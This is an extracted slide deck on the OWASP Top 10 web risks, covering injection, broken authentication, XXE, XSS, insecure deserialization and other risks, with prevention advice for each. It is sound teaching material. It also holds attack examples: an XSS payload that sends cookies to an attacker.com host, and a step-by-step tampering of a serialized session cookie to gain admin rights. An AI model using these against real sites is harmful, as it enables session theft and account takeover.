OWASP Top 10 Project

1. OWASP Top 10 Project Outlining the 10 most critical security concerns for web application security. Muhammad Shehata SWE @robustastudio

2. Who Is OWASP Foundation

3. The Open Web Application Security Project The Open Web Application Security Project® (OWASP) is a nonprofit foundation that works to improve the security of software. Through community-led open-source software projects, hundreds of local chapters worldwide, tens of thousands of members, and leading educational and training conferences, the OWASP Foundation is the source for developers and technologists to secure the web.

4. Top 10 Project The OWASP Top 10 is a book/referential document outlining the 10 most critical security concerns for web application security. The report is put together by a team of security experts from all over the world and the data comes from a number of organizations and is then analyzed.

5. Application Security Risks. Sometimes these paths are trivial to find and exploit, and sometimes they are extremely difficult. ATTACK PATHS The harm that is caused may be of no consequence, or it may put you out of business. IMPACT

6. OWASP Rating Scheme TABLE Threat Agents Exploitability Weakness Prevalence Weakness Detectability Technical Impacts Business Impacts Application Specific Easy: 3 Widespread: 3 Easy: 3 Severe: 3 Business Specific Average: 2 Common: 2 Average: 2 Moderate: 2 Difficult: 1 Uncommon: 1 Difficult: 1 Minor: 1

7. Injection Flaws Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. INJECTION Injection Broken Authentication Sensitive Data Exposure XXE Broken Access Control Security Misconfiguration XSS Insecure Deserialization Vulnerable Components Insufficient Logging and Monitoring 0 0.5 1 1.5 2 2.5 3 3.5 Technical Detectability Prevalence Exploitability Injection Rating Injection

8. Attack Vectors. Almost any source of data can be an injection vector, environment variables, parameters, external and internal web services, and all types of users. Injection flaws occur when an attacker can send hostile data to an interpreter. Security Weaknesses. Injection flaws are very prevalent, particularly in legacy code. Injection vulnerabilities are often found in SQL, LDAP, XPath, or NoSQL queries, OS commands, XML parsers, SMTP headers and ORM queries. Injection flaws are easy to discover when examining code. Scanners and fuzzers can help attackers find injection flaws. Impacts. Injection can result in data loss, corruption, or disclosure to unauthorized parties, loss of accountability, or denial of access. Injection can sometimes lead to complete host takeover. The business impact depends on the needs of the application and data. INJECTION

11. SQL Injection Attack Scenario INJECTION Imagine an application that connects drivers who need a parking spot with spot owners. This diagram shows an API endpoint that return a single spot details. Setting the Scene

12. Use Safe API. Use a safe API, which avoids the use of the interpreter entirely or provides a parameterized interface, or migrate to use Object Relational Mapping Tools (ORMs). Validation and Escaping Use server-side input validation. This is not a complete defense as many applications require special characters So you also need to escape special characters using the specific escape syntax for that interpreter . Limit the Results Use LIMIT and other SQL query result controls within queries to prevent mass disclosure of records in case of SQL injection. Preventing SQL Injection INJECTION

15. Broken Authentication Broken authentication is an umbrella term for weaknesses that attackers exploit to impersonate legitimate users online. BROKEN AUTHENTICATION Injection Broken Authentication Sensitive Data Exposure XXE Broken Access Control Security Misconfiguration XSS Insecure Deserialization Vulnerable Components Insufficient Logging and Monitoring 0 0.5 1 1.5 2 2.5 3 3.5 Technical Detectability Prevalence Exploitability Broken Authentication Rating Broken Authentication

16. Attack Vectors. Broken authentication refers to weaknesses in two areas: session management and credential management. Both can be used by attackers to impersonate a user: hijacked session IDs or stolen login credentials. Security Weaknesses. The prevalence of broken authentication is widespread because the design and implementation of most identity and access controls. Session management is the bedrock of authentication and access controls, and is present in all Stateful applications. Impacts. Attackers have to gain access to only a few accounts, or just one admin account to compromise the system. Depending on the domain of the application, this may allow money laundering, social security fraud, and identity theft, or disclose legally protected highly sensitive information. BROKEN AUTHENTICATION

19. A web session is a sequence of network HTTP request and response transactions associated with the same user.

20. Session Management Weaknesses Exposes Session IDs in the URL (e.g., URL rewriting). Does not rotate Session IDs after successful login. Does not properly invalidate Session IDs. User sessions or authentication tokens BROKEN AUTHENTICATION

21. Session Management Attack Scenarios #1 Session Hijacking BROKEN AUTHENTICATION Anatomy of Attack Attackers use stolen session IDs to impersonate users’ identities. Some of the ways a session can be hijacked are: XSS, Session Side Jacking (Packet Sniffing) and Session Fixation.

22. Session Management Attack Scenarios #2 Session Fixation BROKEN AUTHENTICATION Anatomy of Attack One commonly overlooked best practice is to rotate session IDs after a user logs in, instead of giving a user the same ID before and after authentication. Attacker with a legitimate yet expired session ID can trick the user into re-authenticate then gain access to his/her account.

23. Permits automated attacks such as credential stuffing, where the attacker has a list of valid usernames and passwords. Permits brute force or other automated attacks. Permits default, weak, or well known passwords, such as "Password1" or "admin/admin” Uses weak or ineffective credential recovery and forgot password processes, such as "knowledge based answers", which cannot be made safe. Uses plain text, encrypted, or weakly hashed passwords Has missing or ineffective multi factor authentication. BROKEN AUTHENTICATION Credential Management Weaknesses

24. Permits automated attacks such as credential stuffing, where the attacker has a list of valid usernames and passwords. Permits brute force or other automated attacks. Permits default, weak, or well known passwords, such as "Password1" or "admin/admin” Uses weak or ineffective credential recovery and forgot password processes, such as "knowledge based answers", which cannot be made safe. Uses plain text, encrypted, or weakly hashed passwords BROKEN AUTHENTICATION Credential Management Weaknesses Has missing or ineffective multi factor authentication.

25. Permits automated attacks such as credential stuffing, where the attacker has a list of valid usernames and passwords. Permits brute force or other automated attacks. Permits default, weak, or well known passwords, such as "Password1" or "admin/admin” Uses weak or ineffective credential recovery and forgot password processes, such as "knowledge based answers", which cannot be made safe. Uses plain text, encrypted, or weakly hashed passwords BROKEN AUTHENTICATION Credential Management Weaknesses Has missing or ineffective multi factor authentication. Other Types of Brute Force Attacks • Simple Brute Force Attack • Dictionary Attack • Reverse Brute Force Attack • Hybrid Brute Force Attack • Password Spraying • Account Enumeration • Botnets

30. • Implement multi factor authentication to prevent automated and stolen credential re-use attacks. • Do not ship or deploy with any default credentials, particularly for admin users. • Implement weak password checks, such as testing new or changed passwords against a list of the top 10000 worst passwords • Align password length, complexity and rotation policies with NIST 800-63 B's guidelines in section 5.1.1 for Memorized Secrets or other modern, evidence based password policies. • Use the same messages for all outcomes of the auth-related requests • Throttle failed login attempts. Log all failures and alert administrators when credential stuffing, brute force, or other attacks are detected. • Use a server side, secure, session manager that generates a new random session ID with high entropy after login. Session IDs should not be in the URL, be securely stored and invalidated after logout, idle, and absolute timeouts How to Prevent BROKEN AUTHENTICATION

31. Sensitive Data Exposure Sensitive data exposure vulnerabilities can occur when a web app. does not properly protect sensitive information from being disclosed to attackers. This can include Personal Identifying Information (PPI) such as credit card data, medical history, session tokens, or other authentication credentials. SENSITIVE DATA EXPOSURE Injection Broken Authentication Sensitive Data Exposure XXE Broken Access Control Security Misconfiguration XSS Insecure Deserialization Vulnerable Components Insufficient Logging and Monitoring 0 0.5 1 1.5 2 2.5 3 3.5 Technical Detectability Prevalence Exploitability Sensitive Data Exposure Rating Sensitive Data Exposure

32. Attack Vectors. Instead of directly attacking crypto, attackers steal keys, execute man in the middle attacks, or steal clear text data off the server, while in transit, or from the user’s client, e.g. browser. A manual attack is generally required. Security Weaknesses. The most common flaw is simply not encrypting sensitive data. Even when crypto is employed, weak key generation and management, and weak algorithm, protocol and cipher usage is common. For data in transit, server side weaknesses are mainly easy to detect, but hard for data at rest. Impacts. Failure frequently compromises all data that should have been protected. Typically, this information includes sensitive PII, which often require protection as defined by laws or regulations such as the EU GDPR or local privacy laws. SENSITIVE DATA EXPOSURE

35. Ponemon Institute annual Cost of Data Breach report. Ponemon Institute recruited 524 organizations that experienced data breaches between August 2019 and April 2020. To ensure the research is relevant to a broad set of companies, the organizations in the study comprise of various sizes, spanning 17 countries and regions as well as 17 industries. Our researchers interviewed more than 3,200 individuals who are knowledgeable about the data breach incidents in their organizations. SENSITIVE DATA EXPOSURE Impact in 2020 Total Average Cost $3.86 million 52% Breaches Caused by malicious attack 80% Breaches With Customer PII

36. Biggest Data Breaches Yahoo Date: Aug 2013 Impact: 3B accounts Stolen Data: Account data, security questions and answers Alibaba Date: Nov 2019 Impact: 1.1B data pieces Stolen Data: usernames and phone numbers LinkedIn Date: Jun 2021 Impact: 700M users Stolen Data: No sensitive data was stolen SENSITIVE DATA EXPOSURE

37. 01 Data Transmission in Clear Text • This concerns protocols such as HTTP, SMTP, and FTP. External internet traffic is especially dangerous. • Verify all internal traffic e.g. between load balancers, web servers, or back end systems. 02 Storing Data in Clear Text 03 Solid Encryption • Are any old or weak cryptographic algorithms • Using default crypto keys, weak crypto keys generated or re used, or missing proper key management or rotation • User agent security directives or headers missing? Possible Vulnerabilities SENSITIVE DATA EXPOSURE • Storing sensitive data in clear text, including backups for example, passwords, credit card numbers, health records, personal information and business secrets

38. 01 Data Transmission in Clear Text • This concerns protocols such as HTTP, SMTP, and FTP. External internet traffic is especially dangerous. • Verify all internal traffic e.g. between load balancers, web servers, or back end systems. 02 Storing Data in Clear Text 03 Solid Encryption • Are any old or weak cryptographic algorithms • Using default crypto keys, weak crypto keys generated or re used, or missing proper key management or rotation • User agent security directives or headers missing? Possible Vulnerabilities SENSITIVE DATA EXPOSURE • Storing sensitive data in clear text, including backups for example, passwords, credit card numbers, health records, personal information and business secrets

39. 01 Data Transmission in Clear Text • This concerns protocols such as HTTP, SMTP, and FTP. External internet traffic is especially dangerous. • Verify all internal traffic e.g. between load balancers, web servers, or back end systems. 02 Storing Data in Clear Text 03 Solid Encryption • Are any old or weak cryptographic algorithms • Using default crypto keys, weak crypto keys generated or re used, or missing proper key management or rotation • Missing user agent security directives or headers Possible Vulnerabilities SENSITIVE DATA EXPOSURE • Storing sensitive data in clear text, including backups for example, passwords, credit card numbers, health records, personal information and business secrets

40. At Rest Data at rest is housed in a system is thought to be less vulnerable without the threat of attacks in passing, but more valuable. Attackers use different vectors to get ahold of housed data, often using malware like Trojan horses or computer worms. Both of these gain access into systems housing data through direct downloading from a malicious USB drive or by clicking malicious links that are sent via email or instant message. Data In Transit Data is often on the move, sending commands and requests across networks to other servers, applications, or users. Data in transit is highly vulnerable, especially when moving across unprotected channels or to the application programming interface (API) that allows applications to communicate with one another. Data SENSITIVE DATA EXPOSURE

41. SENSITIVE DATA EXPOSURE Attack Scenarios #1 Automatic DB Encryption Anatomy of Attack An application encrypts credit card numbers in a database using automatic Data at Rest Encryption (DARE). However, this data is automatically decrypted when retrieved by an authenticated user, allowing an SQL injection flaw to retrieve credit card numbers in clear text.

42. • Classify data processed, transmitted (using TLS protocol), or stored (DARE) by an application. Identify which data is sensitive according to privacy laws, regulatory requirements, or business needs. • by the server, and secure parameters. Enforce encryption using directives like HTTP Strict Transport Security (HSTS). Don’t store sensitive data unnecessarily (disable caching). Discard it as soon as possible or use PCI DSS compliant tokenization or even truncation. Data that is not retained cannot be stolen. • Store passwords using strong adaptive and salted hashing functions with a work factor (delay factor). • Verify independently the effectiveness of configuration and settings. How to Prevent SENSITIVE DATA EXPOSURE

43. XML External Entities XXE Injection is not limited to Web Applications; anywhere there is an XML Parser (web, host, software), the potential for XXE exists. XXE caused by an entirely valid functionality of the XML language. simply an abusable feature that is frequently enabled by default. This feature is the external entity., XML EXTERNAL ENTITIES Injection Broken Authentication Sensitive Data Exposure XXE Broken Access Control Security Misconfiguration XSS Insecure Deserialization Vulnerable Components Insufficient Logging and Monitoring 0 0.5 1 1.5 2 2.5 3 3.5 Technical Detectability Prevalence Exploitability XML External Entities Rating XXE

44. eXtensible Markup Language. XML is a text-based markup language derived from Standard Generalized Markup Language (SGML). XML is used to store data in a structural/semantic representation, rather than specifying how to display it like HTML tags. XML is not going to replace HTML in the near future, but still it has adopted many successful features of HTML. XML EXTERNAL ENTITIES

45. Exchange the information between organizations and systems. Merge with style sheets to create almost any desired output. Store and arrange the data, which can customize your data handling needs. XML Usage XML EXTERNAL ENTITIES

49. Document Type Definition XML EXTERNAL ENTITIES • A Document Type Definition (DTD) defines the structure and the legal elements and attributes of an XML document. • With a DTD, independent groups of people can agree on a standard for interchanging data and can use it to verify that XML data is valid. • DTD can be declared in two ways: internal and external

51. Attack Vectors. Attackers can exploit vulnerable XML processors if they can upload XML or include hostile content in an XML document, exploiting vulnerable code, dependencies or integrations. Security Weaknesses. By default, many older XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. Impacts. These flaws can be used to extract data, execute a remote request from the server, scan internal systems, perform a denial-of-service attack, as well as execute other attacks. XML EXTERNAL ENTITIES

54. Attack Scenarios #1 Injection Anatomy of Attack Data from a form is wrapped in XML and sent to the server to be processed. The attacker will Intercept the vulnerable POST request. Add the injected ENTITY tag and &xxe; variable reference. ensure the &xxe; reference is with data that will be returned and displayed XML EXTERNAL ENTITIES

55. Attack Scenarios #1 Injection Anatomy of Attack Data from a form is wrapped in XML and sent to the server to be processed. The attacker will Intercept the vulnerable POST request. Add the injected ENTITY tag and &xxe; variable reference. ensure the &xxe; reference is with data that will be returned and displayed XML EXTERNAL ENTITIES

56. • Use as less complex data formats as possible. Such as JSON, and avoiding serialization of sensitive data. • Patch or upgrade all XML processors and libraries in use by the application or on the underlying operating system. Use dependency checkers. Update SOAP to SOAP 1.2 or higher. • Disable XML external entity and DTD processing in all XML parsers in the application • Implement positive (“whitelisting”) server-side input validation, filtering, or sanitization to prevent hostile data within XML documents, headers, or nodes • Verify that XML or Extensible Stylesheet Language (XSL) file upload functionality validates incoming XML using XML Schema Definition (XSD) validation or similar. How to Prevent XML EXTERNAL ENTITIES

57. Broken Access Control Access control, sometimes called authorization, is how a web application allow access to content and functions to certain user(s). These checks are performed after authentication, and govern what ‘authorized’ users are allowed to do. It sounds like a simple problem but is tricky to implement correctly. In addition, the users may fall into a number of groups or roles with different abilities or privileges. BROKEN ACCESS CONTROL Injection Broken Authentication Sensitive Data Exposure XXE Broken Access Control Security Misconfiguration XSS Insecure Deserialization Vulnerable Components Insufficient Logging and Monitoring 0 0.5 1 1.5 2 2.5 3 3.5 Technical Detectability Prevalence Exploitability Broken Access Control Rating Broken Access Control

58. Attack Vectors. Exploitation of access control is a core skill of attackers. It is detectable using manual means, or possibly through automation for the absence of access controls in certain frameworks. Security Weaknesses. Access control weaknesses are common due to the lack of automated detection, and lack of effective functional testing by application developers. Impacts. The technical impact is attackers acting as users or administrators, or users using privileged functions, or creating, accessing, updating or deleting every record. BROKEN ACCESS CONTROL

61. Attack Scenarios • Bypassing access control checks by modifying the URL, internal application state http://example.com/app/accountInfo?acct=notmyacct Then using this unverified data in a SQL call pstmt.setString(1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( ); • An attacker simply force browses to target URLs. Admin rights are required for access to the admin page. http://example.com/app/getappInfo http://example.com/app/admin_getappInfo BROKEN ACCESS CONTROL

62. • With the exception of public resources, deny by default. • Unique application business limit requirements should be enforced by domain models. • Disable web server directory listing and ensure file metadata (e.g. .git) and backup files are not present within web roots. • Model access controls should enforce record ownership, rather than accepting that the user can create, read, update, or delete any record. • Log access control failures, alert admins when appropriate (e.g. repeated failures). • Rate limit API and controller access to minimize the harm from automated attack tooling. • JWT tokens should be invalidated on the server after logout. How to Prevent BROKEN ACCESS CONTROL

63. Security Misconfiguration Misconfigurations are often seen as an easy target, as it can be easy to detect on misconfigured web servers, cloud and applications and then becomes exploitable, causing significant harm and leading to catastrophic data leakage issues for enterprises SECURITY MISCONFIGURATION Injection Broken Authentication Sensitive Data Exposure XXE Broken Access Control Security Misconfiguration XSS Insecure Deserialization Vulnerable Components Insufficient Logging and Monitoring 0 0.5 1 1.5 2 2.5 3 3.5 Technical Detectability Prevalence Exploitability Security Misconfiguration Rating Security Misconfiguration

64. Attack Vectors. Attackers will often attempt to exploit unpatched flaws or access default accounts, unused pages, unprotected files and directories, etc to gain unauthorized access or knowledge of the system. Security Weaknesses. Security misconfiguration can happen at any level of an application stack, including the network services, platform, web server, application server, database, frameworks, custom code, and pre-installed virtual machines, containers, or storage. Impacts. Such flaws frequently give attackers unauthorized access to some system data or functionality. Occasionally, such flaws result in a complete system compromise. SECURITY MISCONFIGURATION

67. Possible Vulnerabilities • Missing appropriate configuration and permissions across any part of the application stack. • Unnecessary features are enabled or installed (e.g. unnecessary ports, services, pages, accounts, or privileges). • Default accounts and their passwords still enabled and unchanged. • Error handling reveals stack traces or other overly informative error messages to users. • For upgraded systems, latest security features are disabled or not configured securely. • The security settings in the application servers, application frameworks (e.g. Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure values. SECURITY MISCONFIGURATION

68. How to Prevent • A minimal platform without any unnecessary features, components, documentation, and samples. Remove or do not install unused features and frameworks. • A task to review and update the configurations appropriate to all security notes, updates and patches • A segmented application architecture that provides effective, secure separation between components or tenants, with segmentation, containerization, or cloud security groups SECURITY MISCONFIGURATION

69. Cross-Site Scripting (XSS) Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it. CROSS-SITE SCRIPTING Injection Broken Authentication Sensitive Data Exposure XXE Broken Access Control Security Misconfiguration XSS Insecure Deserialization Vulnerable Components Insufficient Logging and Monitoring 0 0.5 1 1.5 2 2.5 3 3.5 Technical Detectability Prevalence Exploitability XSS Rating XSS

70. Attack Vectors. Automated tools can detect and exploit all three forms of XSS, which are: Reflected XSS, Stored XSS and DOM XSS. It is so common that there are freely available exploitation frameworks. Security Weaknesses. XSS is the second most prevalent issue in the OWASP Top 10, and is found in around two thirds of all applications. Automated tools can find some XSS problems automatically, particularly in mature technologies such as PHP, J2EE / JSP, and ASP.NET. Impacts. The impact of XSS is moderate for reflected and DOM XSS, and severe for stored XSS, with remote code execution on the victim’s browser, such as stealing credentials, sessions, or delivering malware to the victim. CROSS-SITE SCRIPTING

73. Possible Vulnerabilities • Stored XSS (Persistent or Type I): When user input is stored on the server, such as in a DB, in a message forum, or visitor log, And then a victim is able to retrieve the stored data from the web app. without that data being made safe to render. • Reflected XSS (Non-Persistent or Type II): When user input is immediately returned by a web app. in an error message, or search result, without that data being made safe to render. • DOM Based XSS (Type-0): The attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment. CROSS-SITE SCRIPTING

74. Attack Scenarios #1 Using Untrusted Data CROSS-SITE SCRIPTING The attacker modifies the ‘CC’ parameter in the browser to: '><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'

75. Attack Scenarios #2 Defeat Any CSRF Defense CROSS-SITE SCRIPTING From the previous scenario, lets assume that the attacker can get the user session ID rom the cookies and want to take control over the account. To perform the request to the server we need a CSRF token, which is a token regenerated with each response, that is usually saved in a meta tag. Anatomy of Attack In a successful CSRF attack, the attacker causes the victim user to carry out an action unintentionally. For example, this might be to change the email address on their account, to change their password, or to make a funds transfer. Depending on the nature of the action

76. CROSS-SITE SCRIPTING How to Prevent • Using frameworks that automatically escape XSS by design, Learn the limitations of each framework’s XSS protection and appropriately handle the use cases which are not covered. • Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities. • Enabling a Content Security Policy (CSP) as a defense- in-depth mitigating control against XSS.

77. Insecure Deserialization Insecure Deserialization is a vulnerability which occurs when untrusted data is used to abuse the logic of an application, inflict a denial of service (DoS) attack, or even execute arbitrary code upon it being deserialized. INSECURE DESERIALIZATION Injection Broken Authentication Sensitive Data Exposure XXE Broken Access Control Security Misconfiguration XSS Insecure Deserialization Vulnerable Components Insufficient Logging and Monitoring 0 0.5 1 1.5 2 2.5 3 3.5 Technical Detectability Prevalence Exploitability Insecure Deserialization Rating Insecure Deserialization

78. Attack Vectors. Exploitation of deserialization is somewhat difficult, as off the shelf exploits rarely work without changes or tweaks to the underlying exploit code. Security Weaknesses. Some tools can discover deserialization flaws, but human assistance is frequently needed to validate the problem.. Impacts. The impact of deserialization flaws cannot be overstated. These flaws can lead to remote code execution attacks, one of the most serious attacks possible. INSECURE DESERIALIZATION

81. Serialization refers to a process of converting an object into a format which can be persisted to disk (for example saved to a file or a datastore), sent through streams (for example stdout), or sent over a network. The format in which an object is serialized into, can either be binary or structured text (for example XML, JSON YAML…). JSON and XML are two of the most commonly used serialization formats within web applications. INSECURE DESERIALIZATION

82. Attack Scenario #1 Escalating Privileges 1. After logging in, session information is kept in a base64 encoded cookie Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30= 2. When the attacker decode this value, it turns to be an object of class User O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;} 3. Now the last field is a boolean value that can be manipulated O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;} 4. Decode the serialized object again and set the session cookie to the new value. Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30K And the account gained admin privileges Anatomy of Attack An example of broken access control exploiting a variable manipulation, where the goal is to acquire administrator privileges, after logging in with the credentials of normal user INSECURE DESERIALIZATION

83. • Implementing integrity checks such as digital signatures on any serialized objects. This is done by encrypting the serialized object with private key. Any manipulation to the object will result in a different hash value. • Enforcing strict type constraints during deserialization before object creation as the code typically expects a definable set of classes. • Isolating and running code that deserializes in low privilege environments when possible. • Log deserialization exceptions and failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions. INSECURE DESERIALIZATION How to Prevent

84. Using Components with Known Vulnerabilities There are new cyber vulnerabilities and threats emerging each day putting the users at risk but not all of those are zero-days. Most of those threats occur due to the software dependencies like using components such as libraries and frameworks which are previously known to be vulnerable VULNERABLE COMPONENTS Injection Broken Authentication Sensitive Data Exposure XXE Broken Access Control Security Misconfiguration XSS Insecure Deserialization Vulnerable Components Insufficient Logging and Monitoring 0 0.5 1 1.5 2 2.5 3 3.5 Technical Detectability Prevalence Exploitability Using Components with Known Vulnerabilities Rating Vulnerable Components

85. If you do not know the versions of all components you use. Either you directly use or nested dependencies. If software is vulnerable, unsupported, or out of date. This includes the OS, web/application, server and DBMS If you do not scan for vulnerabilities regularly and subscribe to security bulletins related to the components you use. If you do not fix or upgrade the underlying platform, frameworks, and dependencies in a risk-based If software developers do not test the compatibility of updated, upgraded, or patched libraries. If you do not secure the components’ configurations Possible Vulnerabilities VULNERABLE COMPONENTS

91. Insufficient Logging and Monitoring Exploitation of insufficient logging and monitoring is the bedrock of nearly every major incident. Attackers rely on the lack of monitoring and timely response to achieve their goals without being detected. INSUFFICIENT LOGGING Injection Broken Authentication Sensitive Data Exposure XXE Broken Access Control Security Misconfiguration XSS Insecure Deserialization Vulnerable Components Insufficient Logging and Monitoring 0 0.5 1 1.5 2 2.5 3 3.5 Technical Detectability Prevalence Exploitability Insufficient Logging and Monitoring Rating Insufficient Logging and Monitoring

92. • Auditable events, such as logins, failed logins, and high- value transactions are not logged. • Warnings and errors generate no, inadequate, or unclear log messages. • Logs of applications and APIs are not monitored for suspicious activity. • Logs are only stored locally. • Appropriate alerting thresholds and response escalation processes are not in place or effective. • Penetration testing and scans by do not trigger alerts. • The application is unable to detect, escalate, or alert for active attacks in real time or near real time. Possible Vulnerabilities INSUFFICIENT LOGGING

93. If you put a key under the mat for the cops, a burglar can find it, too. Criminals are using every technology tool at their disposal to hack into people’s accounts. If they know there’s a key hidden somewhere, they won’t stop until they find it. “

94. More Resources Collaboratively administrate empowered markets via plug-and-play networks. • OWASP Top 10 (2017) • Real-life Examples of Web Vulnerabilities (OWASP Top 10) • OWASP Attacks List • How to Prevent SQL Injection in PHP • OWASP Cheat Sheet Series • Digital Identity Guidelines: Authentication and Life Cycle Management • Ponemon Institute Cost of a Data Breach 2020 • The 15 Biggest Data Breaches of 21st Century • Hashing Algorithms and Security • OWASP Security Headers Project • Content Security Policy • How Your Laravel Application Can Be Hacked • Digital Signature Overview

95. Thank You

OWASP Top 10 Project

Recommended

More Related Content

What's hot (20)

Similar to OWASP Top 10 Project (20)

Recently uploaded (20)

OWASP Top 10 Project